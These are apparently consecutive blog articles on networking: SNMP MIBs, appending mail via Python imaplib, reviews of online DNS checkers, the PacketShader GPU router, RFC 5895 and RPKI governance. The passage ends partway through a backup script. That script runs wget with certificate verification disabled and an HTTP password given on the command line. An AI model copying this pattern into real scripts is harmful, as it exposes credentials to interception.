Les MIB sont souvent utilisées comme base pour créer de nouvelles MIB, par exemple parce que le protocole a évolué et qu'on met à jour la MIB. La section 10 donne d'utiles conseils dans ce cas, notamment l'importance de ne pas retirer d'éléments de la MIB car les clients SNMP peuvent être restés à l'ancienne MIB. Les nouveaux éléments ne les gènent pas (ils ne les interrogeront pas) mais un élément supprimé va les prendre en défaut. Dans tous les cas, les OID ne doivent jamais être réaffectés. Si la définition d'un objet change de manière incompatible, c'est un nouvel objet et il doit recevoir un nouvel OID. La section 10.2 liste les changements compatibles : ajouter une nouvelle valeur à une énumération, par exemple (mais pas en retirer).

Une implémentation complète du SMI figure en http://www.ibr.cs.tu-bs.de/projects/libsmi/ (sur une Debian, c'est dans le paquetage libsmi2-dev). Sur beaucoup de systèmes d'exploitation, les MIB elles-mêmes sont distribuées et, par exemple, sur Debian ou une Gentoo, elles se trouvent dans /usr/share/snmp/mibs.


Téléchargez le RFC 2578


L'article seul

Écrire un message en IMAP avec Python

Première rédaction de cet article le 22 septembre 2010


La bibliothèque imaplib du langage Python permet d'accéder à un serveur de courrier IMAP et est surtout utilisée pour lire des messages. Mais elle peut aussi être utilisée pour écrire.

Attention, j'ai bien dit « écrire des messages dans une boîte », pas « envoyer un courrier à un destinataire », chose que IMAP ne permet pas. La méthode est simple, utilisant la méthode append(), et je peux mettre le code directement ici (le message est lu sur l'entrée standard mais il pourrait venir de n'importe où) :

connection = imaplib.IMAP4_SSL(hostname)
connection.login(username, password)
message_first = sys.stdin.readline() # Drop the mbox separator line
message = sys.stdin.read()
result = connection.append(mailbox, '', imaplib.Time2Internaldate(time.time()), \
                           message)
print result
connection.logout()

Et voilà, le programme, si tout s'est bien passé, mettra le message dans la boîte mailbox. En cas de problème, la première chose à vérifier est que le message est bien un message à la syntaxe du RFC 5322, avec une ligne vide entre les en-têtes et le corps.

Un bon article de plusieurs exemples de programmes Python utilisant cette bibiothèque est « imaplib - IMAP4 client library ».

Si, une fois qu'on a ce programme, on veut l'intégrer dans mutt, par exemple pour transmettre des messages de hameçonnage à la base du CRU, il suffit d'avoir le programme report-phishing.py, un fichier de configuration comme :

[default]
hostname: XXX.ensmp.fr
username: YYY
password: ZZZ
mailbox: INBOX.UUU

et de mettre dans son ~/.muttrc :


macro index,pager \ep "<enter-command>set pipe_decode=no\n<enter-command>set wait_key\n<pipe-entry>report-phishing\n<enter-command>set wait_key\n<enter-command>set pipe_decode=yes\n" "Report phishing"

Désormais, en regardant un message de hameçonnage, il suffira d'un ESC-p pour transmettre le message au dépôt.


L'article seul

On-line tools to test your DNS setup

First publication of this article on 20 September 2010
Last update on of 21 September 2010


Even without DNSSEC (which will perhaps become de facto mandatory in the next years), the setup of DNS is far from obvious for the typical system administrator and many errors are found in the wild. The DNS being very robust, these errors have typically no visible consequences (they may have serious invisible consequences, such as longer than necessary delays in name resolution). But the growing demand for a more reliable Internet makes these errors less and less acceptable. And, with DNSSEC, they will probably have actual and visible consequences for the end users. So, testing the DNS zone that you have just configured is the least you can do, if quality control matters to you. There are many software tools to help the system administrator here but this small article focuses on online tools, that you can use from a Web browser.

Testing with dig is far from enough: there are many things that can go wrong and using only dig would require typing dozens of complicated commands. Many tools automate these tests and some of the local tools are very good. My choice to focus on Web services results from two important properties of online tools:

  • You do not need to install any software or any library, you just need a browser.
  • You have a view of your DNS zone from the outside (many things may work from the inside and break from the outside because, for instance, of BIND's views or badly configured firewalls).

So, let's explore the online, Web-based, solutions. Let me tell you immediately that I'm going to express opinions: not all tools are created equal and some have really significant issues, which make it difficult to recommend them to sysadmins. Either their authors do not know enough about the DNS (which is indeed a complicated beast) or they failed to follow the changes of the Internet in the last ten years. If you disagree with my choices, you can send technical explanations of your opinions to stephane+blog@bortzmeyer.org. (Or discuss it publicly on the dns-operations mailing list.)

OK, now, let's start with the good tools. First, the generic ones, which exercice all the parts of DNS.

DNScheck is a nice tool, with a beautiful interface. (This tool is also available as a local program but I did not test this version.) It indicates clearly whether the error is serious or not and gives good explanations. It supports DNSSEC but, in September 2010, it still does not support the recent algorithms of type 8 (SHA-256) or 10 (SHA-512) and it claims that .org, for instance, is not properly signed ("At least one DNSKEY should be of type RSA/SHA1", which is wrong). The same software is also used at Pingdom.

Zonecheck has a plainer interface (in English or in French). It performs many tests and typically catches more errors than most of the other tools (for instance network errors when a packet cannot travel over links with small MTU because a broken firewall blocks ICMP packets). Sometimes, its enthusiasm leads to false positives (for instance when the zone changes rapidly, it complains about the different serial numbers in the authoritative name servers). It also experiences too often network timeouts, if the remote server is not blazingly fast. Among its other possibilities, you can use it to test a zone which is not yet delegated (by specifying the name servers explicitly). But it stays on the one zone you indicate, it does not follow the tree from the parent zones so it cannot be used to debug complicated hierarchy-related issues. Zonecheck supports DNSSEC. (Disclaimer: I work for AFNIC, where most of the Zonecheck development is done.)

There are also tools which are specific and test only a part of the DNS setup, typically DNSSEC.

DNSSEC debugger makes very comprehensive DNSSEC tests and produces good explanations.

A tool even more specific is DNSviz. It visualizes the DNSSEC keys of the zone and its parents, and produces a very good and readable graph of their relationships. Very few tools analyze the entire chain from the root, something which is very important for DNSSEC.

Speaking of specific tools, squish.net DNS checker is not really a DNS tester but rather a DNS analyzer, giving to experts (the documentation emphasizes that it is intended only for them) a lot of information about the domain, as seen from the root. Speaking of experts, the Mother of All DNS Checking Web Sites, http://www.dnscheck.se/, is still on line but is not for the faint of heart.

Now, there are tools which I cannot recommend.

Cricket Liu, author of the very good O'Reilly book "DNS and BIND", is a well-known figure in the world of the DNS so it is not a surprise if Infoblox emphasizes his name on the DNS advisor. Unlike the two previous tools, it requires you to provide a working email address to use it. It fails on IPv6 name servers (claiming "returned: no nameservers" or "No A RRs") which is, in my opinion, not acceptable in 2010, less than a year before the end of the IPv4 address pool.

DNSqueries does many things besides testing the DNS. Like the previous tool, it fails on IPv6 name servers. It also gives a strange advice: "I found that you have only one MX record. If this mail server goes down this can cause mail delivery delays or even mail loss. This acceptable [sic] but consider increasing the number of your MXs." But having more than one MX record (and keep them in synch, specially for the anti-spam struggle) is certainly a bad idea for most small and medium organizations. (I wrote a paper in French about it.) Speaking of spam, this tool still mentions RFC 821 as the authoritative source for SMTP... (The current RFC is RFC 5321.)

intoDNS has also the same problems (fails on IPv6 name servers and warns when there is only one MX). More funny, It sends errors when there is no www name in the zone which is quite stupid. And it can not test TLD (it says "Invalid request").

DNSsniffer has exactly the same problems ("Fail. You have 1 mx record listed, this can be a single point of failure.") and some more (for instance, it flags stealth name servers as an error, or it reports as a warning the fact that the name servers of .org do not send glue records for a name server in .net!).

DNSsy also fails badly when there are IPv6 name servers. It makes it spit several spurious errors (because each test involving these name servers fails).

What about SolveDNS? I find it has many spurious answers such as "No name server found that can respond to A Record queries." which I find quite baffling.

Like many of the others, How is my DNS?, LeafDNS or MyDNScheck produce spurious errors, regarding every IPv6 name server as a broken server. The problem is not that these services do not have IPv6 support (which would be understandable).The problem is that they fail when they encounter an IPv6 name server (marking the server as invalid) instead of simply ignoring it (as an IPv4-only DNS resolver would do). For instance, an option "Transport layer" of Zonecheck allows you to disable IPv6 and, in that case, IPv6 name servers are simply ignored.

None of these last tools support DNSSEC.

DNScog also has no IPv6 support (which could be understood) but does not know it has no such support and therefore fail badly when a nameserver has an IPv6 address: "Some of the nameservers did not answer any of our queries for your domain.".

DNSreport at DNSstuff is apparently no longer (September 2010) available gratis online. The Domain Health Report of UltraDNS displays its results only to registered people, so I was not able to test it.

In the category of DNSSEC-specific tools, there are also services I cannot recommend.

DNSSEC monitor produces warnings such as "server is using nsec instead of nsec3" as if there were something fundamentally wrong with NSEC. Maybe this is because this tool is made for a local community which decided to promote NSEC3? Also, the "errors" it reports are repeated for every authoritative name server, despite the fact they all serve the same content, which is distracting.

So, my advice is, for generic DNS testing, use DNScheck or Zonecheck. If you are interested only in thorough DNSSEC testing, use DNSSEC debugger.

Thanks to Gilles Massen and Niall O'Reilly for their clever comments.


L'article seul

PacketShader : transformer un PC en routeur IP ultra-rapide

Première rédaction de cet article le 19 septembre 2010
Dernière mise à jour le 27 septembre 2010


L'augmentation colossale de la capacité des réseaux informatiques fait peser une lourde tâche sur les épaules des routeurs, qui doivent désormais faire passer des paquets sur plusieurs liens 10 Gb/s. Les routeurs dits « logiciels », basés sur du matériel non-spécialisé (par exemple un PC) peuvent-il tenir ce rythme ou bien doivent-il laisser la place aux engins chers et surtout 100 % logiciel privateur comme les Cisco ou les Juniper ? Ce remarquable article de chercheurs coréens montre que non et qu'il est possible aujourd'hui de bâtir un routeur aussi rapide que les engins de course, avec un PC et Linux. Principale percée réalisée par les dits chercheurs : sous-traiter une bonne partie des opérations au GPU...

Contrairement à ce que prétendent les commerciaux de Cisco ou de Juniper, il a toujours été possible de bâtir un routeur IP sur du matériel ordinaire, avec du logiciel libre. Ce n'est toutefois pas une tâche triviale : un routeur moderne comporte deux parties, le Contrôle (control plane) et la Transmission (forwarding plane). Le premier parle les protocoles de routage comme BGP, protocoles souvent complexes, sa tâche n'est que faiblement « temps réel » et il a besoin de mémoire (un routeur BGP sans route par défaut stocke aujourd'hui dans les 330 000 routes) et de CPU. Un PC ordinaire est donc bien adapté à cette tâche, pour laquelle il existe plusieurs logiciels libres comme Quagga ou BIRD.

La Transmission, quant à elle, est implémentée dans tous les Unix depuis belle lurette, donc tout PC avec Ubuntu sait faire tout le travail de routage (sur Unix, la table de routage utilisée par la transmission s'affiche avec netstat -rn). Il existe aussi des projets plus complets d'un routeur entier sur un PC/Unix comme par exemple RouteBricks, pris comme point de comparaison dans l'article. Mais le problème est quantitatif. Le travail du Contrôle est proportionnel au nombre de routes et au nombre de changements de celles-ci. Mais celui de la Transmission est proportionnel au nombre de paquets ! Même si les opérations à effectuer pour chaque paquet sont simples, ce travail doit être multiplié par des chiffres impressionnants. Et pas question de trainer, sous peine d'accroître la latence du réseau. Sur un lien Ethernet à 10 Gb/s (ce qui est encore luxueux sur le bureau mais est déjà la norme à l'intérieur des réseaux d'opérateurs), cela peut faire des dizaines de millions de paquets par seconde. En débit (les 10 Gb/s) et en nombre d'interruptions (une par paquet pour une mise en œuvre naïve), cela stresse considérablement le PC de base.

Les routeurs très chers des grosses entreprises s'en tirent en utilisant des composants complètement différents pour le Contrôle et la Transmission : sur un Juniper, par exemple, un PC doté d'une variante de FreeBSD fait le contrôle et des ASIC, bien plus coûteux, assurent la Transmission. On voit que, lorsque certains enthousiastes du logiciel libre annoncent qu'un logiciel comme Quagga « permet à n'importe quel PC de faire comme un Cisco dix fois plus cher », ils simplifient exagérement : Quagga assure le Contrôle mais il reste à transmettre les paquets très vite (at line rate, dit-on souvent en anglais, c'est-à-dire à la vitesse maximale que permet le réseau physique sous-jacent).

Un dernier mot sur l'architecture d'un routeur : quel est le protocole de communication entre le Contrôle et la Transmission ? Il existe une norme à l'IETF, Forces (Forwarding and Control Element Separation), spécifiée dans le RFC 5810. Mais il n'est pas déployé pour l'instant et, en pratique, le protocole de communication est toujours un protocole privé (comme netlink sur Linux, documenté dans le RFC 3549). Il n'est donc pas possible aujourd'hui de « faire son marché » en combinant des composants de divers constructeurs, connectés par un protocole standard.

Revenons maintenant à l'article dont je voulais parler. « PacketShader: a GPU-Accelerated Software Router », de Sangjin Han, Keon Jang, KyoungSoo Park et Sue Moon, décrit en détail la méthode utilisée pour mettre au point le logiciel PacketShader, un programme tournant sur Linux et qui permet d'obtenir d'un PC (un engin de gamer, toutefois, pas un PC bas de gamme) les performances d'un routeur « matériel ». Leur but est de proposer des routeurs moins chers et plus flexibles, puisque le code pourra être modifié plus facilement que s'il est dans un noyau temps-réel. Par contre, question logiciel libre, il ne semble pas que le source de PacketShader soit disponible. Les performances annoncées sont impressionnantes, avec 40 Gb/s de transmis en IPv4, pour toutes les tailles de paquet (une partie du coût est « par octet » et une autre est « par paquet » donc effectuer les mesures avec des paquets de la taille maximale est une méthode classique pour avoir des bons chiffres dans les benchmarks). Même en IPsec, avec le coût du chiffrement, PacketShader pompe de 10 à 20 Gb/s.

Les résultats détaillés de PacketShader sont présentés dans la section 6 de l'article. Quatre applications ont été testées, transmission IPv4, transmission IPv6, OpenFlow et IPsec. Dans tous les cas, un générateur de paquets produisait des données que PacketShader devrait recevoir et transmettre. Pour le routage IPv4, la taille de la table de routage (trop grande pour tenir dans les caches du processeur) entraine beaucoup d'accès mémoire. Une table réelle était utilisée (copiée de Route Views) alors que, en IPv6, une table artificielle avait été générée (la table réelle, très petite, aurait tenu dans le cache L2). Pour IPsec, le choix a été de faire du routeur PacketShader le point d'entrée d'un tunnel ESP. À chaque fois, PacketShader a tourné dans deux modes à comparer, uniquement sur le CPU et avec le CPU et le GPU.

Les résultats sont rassemblés dans la figure 11. En IPv4, le débit théorique maximal est atteint, même sans le GPU. Ce dernier ne sert que pour les petits paquets (un gain de 40 % pour les paquets de 64 octets). En IPv6, le gain du GPU est bien plus important : la plus grande taille des adresses oblige à davantage d'accès mémoire. Pour IPsec, l'avantage du GPU est très marqué, même pour les grands paquets (1514 octets), où le GPU fait plus que doubler le débit.

Comment sont obtenues ces perfomances ? L'une des principales percées de cet article est d'utiliser un composant peu connu du PC, mais désormais largement disponible, le processeur graphique (le terme de packet shader vient d'ailleurs d'un terme du monde du graphique, shader). Grâce aux gamers, on trouve désormais pour les PC des processeurs ultra-spécialisés, très parallèles (des centaines d'unités de calcul sur une seule puce), programmables par des bibliothèques relativement accessibles comme CUDA. (Attention, CUDA est non libre. Elle a un concurrent libre, OpenCL, mais qui semble très peu déployé en pratique, peut-être en raison de sa plus grande difficulté d'usage.) Ils coûtent facilement dans les 500 € mais augmentent nettement les performances graphiques. Ce GPU peut servir à bien d'autres choses qu'à l'affichage de monstres qu'il faut abattre le plus vite possible (pour un exemple rigolo, voir une base de données avec GPU). Et son rapport performances/prix augmente bien plus vite que celui du CPU. La section 2 de l'article décrit en détail les GPU, et le modèle utilisé, un Nvidia GTX 480 (ce dernier chiffre indiquant le nombre d'unités de calcul). Le GPU est certes très rapide, mais c'est en partie parce que son modèle d'exécution est différent de celui d'un processeur généraliste. De type SIMT (single-instruction, multiple-threads, une catégorie absente de la taxinomie de Flynn), le GPU requiert une programmation spécifique. Sur les processeurs Nvidia, elle se fait typiquement en CUDA, un environnement qui permet de programmer en C avec extensions spécifiques, avant la compilation du code vers le GPU. La figure 2 de l'article montre ainsi ce que l'on peut gagner de temps sur une tâche simple (déterminer le prochain saut pour un paquet IPv6) par rapport au CPU traditionnel : à partir de 300 paquets en cours de traitement (ce qui permet d'exploiter à fond le parallélisme du GPU), le CPU traditionnel est battu et largement battu si des milliers de paquets se présentent à peu près en même temps.

Faire des calculs très vite ne sert à rien si on ne peut pas nourrir le processeur en données au même rythme. La capacité théorique de PCIe est de 8 Go/s mais, en pratique, le travail nécessaire, par exemple à la DMA, ne permet pas d'aller aussi vite. C'est le second gros travail de l'équipe de PacketShader.

La section 3 de l'article décrit la machine utilisée. Avec ses deux Xeon quadricore, ses deux GPU Nvidia GTX 480, et ses quatre cartes réseau Intel 82599 (chacune ayant deux ports à 10 Gb/s), ce n'est quand même pas le PC de bureau de M. Michu ! Mais, à 7 000 US $, il est infiniment moins cher qu'un routeur Cisco. L'étude attentive de la bête a montré aux auteurs de l'article quelques comportements curieux (comme un débit plus élevé lorsque les données vont de la mêmoire au GPU qu'en sens inverse, si la machine a deux I/O Hub). Bon, et le logiciel ? Ubuntu avec le noyau Linux standard. Et bien sûr un bon pilote pour les cartes Ethernet et le SDK CUDA pour programmer le GPU.

Deux grands chantiers ont permis de transformer le PC en un routeur de course : l'utilisation des GPU (section 5 de l'article), pour décider de ce qu'on fait du paquet, et pour des opérations comme le chiffrement, et l'optimisation des entrées/sorties des paquets (section 4). Voyons d'abord le GPU.

Le modèle de programmation de ces puces est très différent de celui d'un processeur classique. Il a donc fallu développer un logiciel entièrement nouveau. Celu-ci tourne en mode utilisateur (alors que la transmission de paquets IP sur Linux se fait traditionnellement entièrement dans le noyau, pour éviter de perdre du temps en franchissement de la frontière entre le noyau et l'application). Le but est de pouvoir utiliser des bibliothèques comme CUDA (pour l'interface avec le GPU) et OpenSSL (pour mettre en œuvre IPsec). Le mode utilisateur fournit en outre un environnement de développement bien plus facile. Mais comment surmonter sa relative lenteur (trois fois plus lent, selon les mesures qui avaient été faites avec un autre système) ? Les auteurs citent le regroupement des paquets en lots (un seul appel système peut ainsi envoyer plusieurs paquets), une stricte correspondance entre les fils d'exécution et les files d'attente des paquets, pour éviter que deux fils ne se battent pour accéder à une file d'attente et enfin un mécanisme d'attente active sur les cartes réseaux (plutôt que d'attendre les interruptions, car une interruption est relativement lente, trop pour en faire une par paquet) mais suffisamment intelligent pour ne pas priver les autres processus (comme le serveur BGP) du processeur : PacketShader lit la file d'attente puis, lorsqu'elle est vide, remet les interruptions en service. À la prochaine interruption, il coupera les interruptions, lira la file, et ainsi de suite.

Je ne vais pas résumer ici toutes les optimisations utilisées pour que le routeur aille vite, lisez plutôt l'article original. Mais un des points importants est que, quoique l'environnement de développement CUDA permettre de prendre un programme C et de le faire tourner sur le GPU avec le minimum d'efforts, les performances demandées pour un routeur 40 Gb/s nécessitent de modifier profondément le modèle séquentiel de traitement des paquets, et de bien réflechir à ce qu'on garde sur le CPU classique (lent mais très général) et ce qu'on envoie sur le GPU (rapide pour ce qu'il sait bien faire mais très lent sur certaines tâches, notamment celles ayant peu de parallélisme). La copie des données vers le GPU ayant un coût, il faut être sûr que le gain de vitesse compensera ce coût.

Et les entrées/sorties ? Les auteurs estiment que la couche réseau de Linux est trop inefficace pour la plupart des opérations d'un routeur à très haut débit. Par exemple, chaque paquet nécessite l'allocation et la déallocation de deux tampons (un pour le paquet et un pour les métadonnées, qui sont par ailleurs trop grosses, car un routeur n'a pas besoin de beaucoup d'informations sur le paquet qu'il route). PacketShader a donc son propre système, qui comprend un seul énorme tampon pour les paquets. Les métadonnées sont, elles, réduites aux huit octets indispensables (208 dans le code de Linux original).

Autre moyen de gagner du temps : regrouper les opérations de plusieurs paquets. Un routeur « logiciel » naïf laisserait la carte Ethernet lever une interruption par paquet, puis copierait ce paquet en mémoire, puis déciderait de son sort et ferait ensuite un appel système pour passer le paquet au noyau, puis au pilote de la carte réseau. Chacune de ces opérations est coûteuse et on ne peut pas la faire pour chaque paquet, sans diminuer sérieusement les performances. Au contraire, RouteBricks regroupe plusieurs paquets en une seule opération et PacketShader étend ce principe même à l'application de Transmission. Le système d'entrées/sorties des paquets de PacketShader a été testé séparement (sans décision de Transmission suivant l'adresse de destination). En émission seule, les 80 Gb/s théoriques sont atteints, en réception seule, le routeur plafonne à 60 Gb/s (sans doute en raison de l'asymétrie décrite plus haut). En combinant les deux (cas d'un vrai routeur, qui reçoit des paquets et les fait suivre), les 40 Gb/s sont atteints.

Pour terminer l'article, deux intéressantes sections, la 7, consacrée à une discussion sur les limites de PacketShader et les moyens de les surmonter, et la 8, consacrée aux travaux similaires qui ont déjà été menés.

Parmi les limites, il y a le fait que PacketShader, qui gère la partie Transmission du routeur, n'a pas encore été connecté avec un logiciel qui gérerait la partie Contrôle, comme par exemple Quagga. Les performances pourraient se dégrader si le rythme de mise à jour de la table de routage était trop élevé, un problème que connaissent tous les routeurs, « matériels » ou « logiciels ».

Parmi les inconvénients qu'il y a à utiliser un GPU, la consommation électrique. Un GPU consomme plus qu'un CPU « équivalent » (594 watts pour la machine de test, contre 353 sans ses processeurs graphiques).

Le site Web officiel du projet est http://shader.kaist.edu/packetshader/. Comme indiqué plus haut, il ne semble pas que le code source soit disponible. Merci à Emmanuel Quemener pour ses remarques stratégiques et à tous les participants au FRnog pour la très intéressante discussion qui a suivi la publication de cet article.


L'article seul

RFC 5895: Mapping Characters in IDNA2008

Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : P. Resnick (Qualcomm Incorporated), P. Hoffman (VPN Consortium)
Pour information
Première rédaction de cet article le 14 septembre 2010


Dans l'ancienne version de la norme IDN, en 2003, une étape obligatoire et uniforme de canonicalisation (ou normalisation) précédait le traitement des noms de domaine en Unicode. La nouvelle version d'IDN, sortie en 2010, a supprimé cette étape. Désormais, chaque application est libre de canonicaliser comme elle le souhaite les noms entrés par l'utilisateur. Il n'est toutefois pas interdit de donner des conseils aux programmeurs mais il n'a pas été possible, dans le groupe de travail idnabis, de trouver un consensus sur ces conseils. Il y aura donc un ou plusieurs RFC « pour information seulement » sur ce sujet. Celui-ci est le premier.

La section 1 du RFC rappelle ce problème de normalisation. Celle-ci se produit uniquement dans les applications, et n'a pas d'influence sur ce qu'on voit dans le réseau. Sur le câble, on voit passer uniquement des noms « punycodés » comme xn--acadmie-franaise-npb1a.fr. La norme IDNA bis (RFC 5890 et suivants) expose comment traduire un nom de domaine en Unicode (comme académie-française.fr) en cette forme punycodée (et retour). Le RFC 5891 impose que le nom Unicode soit déjà en forme normale C et n'accepte qu'un nombre restreint de caractères (par exemple les majuscules sont exclues). Imaginons qu'un utilisateur francophone travaille dans un environnnement Latin-1 et saisisse Académie-Française.fr. Ce nom est illégal pour IDNA bis et, pire, il n'est pas en Unicode. Il va donc falloir le traduire en Unicode, et le normaliser. Ici, c'est trivial, on remplace les octets de Latin-1 par ceux d'un encodage Unicode et on remplace chaque majuscule par sa minuscule équivalente. On a fait une normalisation. Mais, dans certains cas, l'opération est bien plus complexe. En français, il est difficile de trouver un exemple significatif. Mais d'autres langues posent des défis plus sérieux. Un exemple classique est celui du turc où la minuscule du grand I sans point (I) est le petit i sans point (ı) pas le petit i avec point (i). Mettre I en minuscule dépend de la locale.

Il est donc impossible de trouver une normalisation qui couvre proprement tous les cas, ne serait-ce que parce qu'elle dépend de la langue (alors que les RFC définissent des normes mondiales). Le choix de IDNA bis avait donc été d'abandonner le principe d'une normalisation standard (qui était définie dans le RFC 3491). Il y a donc désormais plusieurs normalisations possibles. Toutes devraient suivre un principe simple « surprendre l'utilisateur le moins possible ». Plus facile à dire qu'à faire... Notre RFC 5895 précise d'ailleurs modestement qu'il ne donne pas une solution complète. Mais, au moins, la normalisation est laissée au logiciel qui est le mieux placé pour connaître le contexte, le logiciel qui est directement en contact avec l'utilisateur.

À propos de la différence entre interface utilisateur et protocole réseau, la section 1.1 contient une intéressante discussion à ce sujet. Normalement, l'IETF ne s'occupe que des protocoles. L'interface utilisateur est certes une chose importante mais elle nécessite des compétences différentes, qui ne sont pas forcément très présentes à l'IETF. Résultat, beaucoup de programmeurs d'applications réseau sous-estiment la difficulté de réaliser une bonne interface utilisateur. Ainsi, des phrases qu'on trouve dans des normes IDN comme « l'utilisateur rentre un nom de domaine en Unicode » expédie en moins d'une ligne un processus très complexe, partant d'une décision de l'utilisateur de choisir tel symbole plutôt que tel autre, puis de le rentrer dans l'ordinateur par des moyens très divers (rien qu'avec un clavier, il existe d'innombrables manières de taper un sinogramme, par exemple ; et le clavier n'est pas le seul périphérique d'entrée), le tout suivi par le processus d'interprétation des entrées par l'ordinateur (très simple pour l'ASCII mais bien plus complexe avec d'autres écritures).

IDNA bis a supprimé complètement la partie « interface utilisateur ». Notre RFC 5895, sans la rétablir dans le protocole, expose des idées pour la gérer. Cette idée est résumée dans la section 1.2 : ce RFC 5895 propose des extensions à IDNA bis pour canonicaliser les noms d'une manière raisonnable dans la plupart des cas. Par définition, la normalisation de ce RFC ne conviendra donc pas à tout le monde, d'où son caractère « pour information » seulement.

La section 2 décrit la procédure de normalisation sous forme d'une suite d'étapes :

  • Passer les caractères en minuscule, en utilisant uniquement la base Unicode (propriétés Lowercase_Mapping dans le fichier SpecialCasing.txt puis Simple_Lowercase_Mapping dans la table principale).
  • Les caractères « pleine-chasse » et « demi-chasse » sont remplacés par leur équivalent (défini dans la table principale Unicode), le seul qu'accepte IDNA bis. Cette étape est utile car les mécanismes de saisie utilisés en Asie ne permettent pas toujours facilement de saisir la forme qu'attend le RFC 5891.
  • Les caractères sont normalisés en NFC. C'est la forme qu'attend IDNA bis. Il est raisonnable que l'application fasse cette normalisation car l'utilisateur n'en a pas toujours la possibilité. Si vous tapez sur la touche « à » de votre clavier, savez-vous si l'application enregistrera U+00E0 (petit a avec accent grave) ou bien U+0061 U+0300 (petit a suivi de l'accent grave combinant) ? NFC ne laissera subsister que la première forme.
  • Pour de très bonnes raisons, les règles d'IDNA bis ne s'appliquent qu'à un composant de nom de domaine isolé. Ainsi, dans www.académie-française.fr, académie-française est traité sans considération pour le composant précédent (www) ou pour le suivant (fr). Il y a de très bonnes raisons pour cela (même si certains amateurs de régulation auraient voulu faire des règles inter-composants) mais la canonicalisation, qui dispose du nom complet peut ajouter d'autres étapes notamment considérer comme séparateur d'autres caractères que le point de ASCII. Le 。 (U+3002) est recommandé.

Si j'appliquais cet algorithme, aurais-je une normalisation raisonnable ? La section 3 étudie ce point et répond clairement non. L'algorithme décrit en section 2 est uniquement un point de départ pour le programmeur et ne devrait pas être utilisé « sec ». La bonne démarche pour le courageux développeur est donc de bien lire la section 1 pour comprendre l'ampleur du problème, ensuite de partir de l'algorithme de la section 2 et de l'adapter.


Téléchargez le RFC 5895


L'article seul

Conséquences politiques du déploiement des RPKI

Première rédaction de cet article le 12 septembre 2010


Il est curieux de constater que la gouvernance des noms de domaine déplace autant de vent et suscite autant de réunions internationales (voir par exemple le FGI qui se tient en ce moment à Vilnius) alors que celle du routage, plus cruciale pour l'Internet, se fait essentiellement derrière des portes closes, dans des petits cercles fermés. Ainsi, le déploiement, déjà en cours, d'une RPKI (Resource Public Key Infrastructure, IGC de routage) se fait dans la plus grande discrétion. Il est temps de discuter des implications politiques de ce déploiement, ce que fait l'excellent papier de l'IGP, « Building a new governance hierarchy: RPKI and the future of Internet routing and addressing ».

C'est un très bon document qui sera lu avec intérêt par le petit nombre de gens qui s'intéressent à la fois à l'aspect technique (ici, il s'agit de protéger le protocole de routage BGP contre des attaques ou des problèmes comme les fantaisies de Pakistan Telecom) et à l'aspect politique (le rôle des RIR, la distribution de pouvoir entre eux et l'ICANN et les opérateurs). Mais un petit avertissement tout de même : l'article commence par annoncer qu'il va être consacré à l'information du lecteur, sans prendre position, mais ce n'est pas tout à fait exact : l'article penche plutôt du côté de l'inquiétude, mettant en avant le fait que la RPKI va augmenter le pouvoir des RIR, au détriment des FAI (et sans doute de l'ICANN). En effet, à l'heure actuelle, le pire que puisse faire un RIR est de retirer une plage d'adresses de sa base de données (celle qu'on peut consulter avec whois). Cela ne change rien au routage, sauf pour la minorité d'opérateurs qui filtre les annonces BGP en se fiant aux bases des RIR. Le RIR ne pourra même pas réaffecter d'autorité cette plage à un autre utilisateur car, si l'ancien continue à l'annoncer, la réaffectation punira davantage le nouveau client innocent que le titulaire historique.

En effet, le principe des RPKI est d'attribuer des certificats aux titulaires de ressources comme les plages d'adresses IP. Les routeurs BGP acceptent ensuite (ou pas) les annonces selon qu'elles sont signées (ou pas) avec la clé indiquée dans le certificat. Le rôle essentiellement administratif des RIR devient donc un rôle opérationnel, avec possibilité d'influer directement sur les politiques de routage.

C'est une importante différence avec le déploiement de DNSSEC, où le même IGP a exprimé des craintes que cela ne mène à une plus grande centralisation du DNS. Mais le DNS a a toujours été hiérarchique, le gouvernement états-unien, via son sous-traitant VeriSign, a toujours eu la possibilité de supprimer ou d'ajouter un TLD comme il le voulait. DNSSEC ne change donc pas grand'chose à l'équilibre existant. Au contraire, aujourd'hui, les RIR n'ont pas la possibilité d'agir sur le routage (et ils le répètent à l'envi, « nous allouons des ressources virtuelles, c'est tout »). Avec la RPKI et un BGP sécurisé, on a donc un vrai changement de pouvoir.

Pourtant, cet important changement de politique de l'Internet a été très peu discuté et notamment pas dans les cercles habituels comme l'ICANN ou le FGI. Il est vrai que ceux-ci sont plus remplis d'avocats ou de politiciens que de gens qui comprennent le routage Internet, son importance et ses conséquences. Le papier de l'IGP explique bien qu'il n'y a nul complot pour dissimuler la vérité aux masses : il suffit de ne pas trop en parler, de présenter le sujet comme essentiellement technique, et le tour est joué, personne ne s'y intéresse.

Le déploiement en cours de RPKI est d'autant plus important qu'il n'a, pour l'instant, n'avait fait l'objet d'aucune décision formelle (depuis, l'IETF a publié une série de RFC sur un routage sécurisé, cf. aussi les RFC 4272, RFC 4593 et RFC 5123). Et, du côté des RIR, il semble qu'aucun d'eux n'avait développé à l'époque une politique concernant la RPKI (fouillez vous-même les politiques du RIPE, vous n'y trouverez que des propositions, comme la 2008-04), celle-ci étant simplement présentée comme un service optionnel. Il est vrai que l'aspect « sécurisation de BGP », quoique plus vendeur, est peut-être moins motivant pour le déploiement des RPKI que l'arrivée prochaine du marché des adresses IPv4, après l'épuisement proche de celles-ci (ce point est à peine mentionné dans l'article de l'IGP).

On ne peut donc que recommander la lecture de cet article pour encourager le débat. Une version plus longue a été produite par la suite, « Negotiating a New Governance Hierarchy: An Analysis of the Conflicting Incentives to Secure Internet Routing ».


L'article seul

Garder N copies d'un fichier avec une commande Unix simple

Première rédaction de cet article le 10 septembre 2010
Dernière mise à jour le 20 septembre 2010


Dans la série « Partageons nos petits scripts shell et le monde sera meilleur », voici un petit programme qui permet de renommer des fichiers journaux ou des sauvegardes, un peu comme le fait logrotate, mais sans fichier de configuration, uniquement sur la ligne de commande.

Il me sert dans le cas où j'ai besoin de garder les N dernières copies d'un fichier. Par exemple, sur un serveur de noms, il est utile de garder localement les dernières versions du fichier de zone, même si celui-ci est généré depuis une base de données, afin de pouvoir repartir rapidement en cas de pannes comme celle de .SE. De même, lorsqu'on sauvegarde ses données stockées dans le nuage, il est utile de garder les précédentes versions, au cas où la copie du nuage ait été tronquée. Voici par exemple comment je sauvegarde mes marque-pages chez del.icio.us :

copy-n bookmarks-at-delicious
# http://del.icio.us/help/api/  
wget -O bookmarks-at-delicious --no-check-certificate \
        --http-user=bortzmeyer --http-passwd=jevaispasledire \
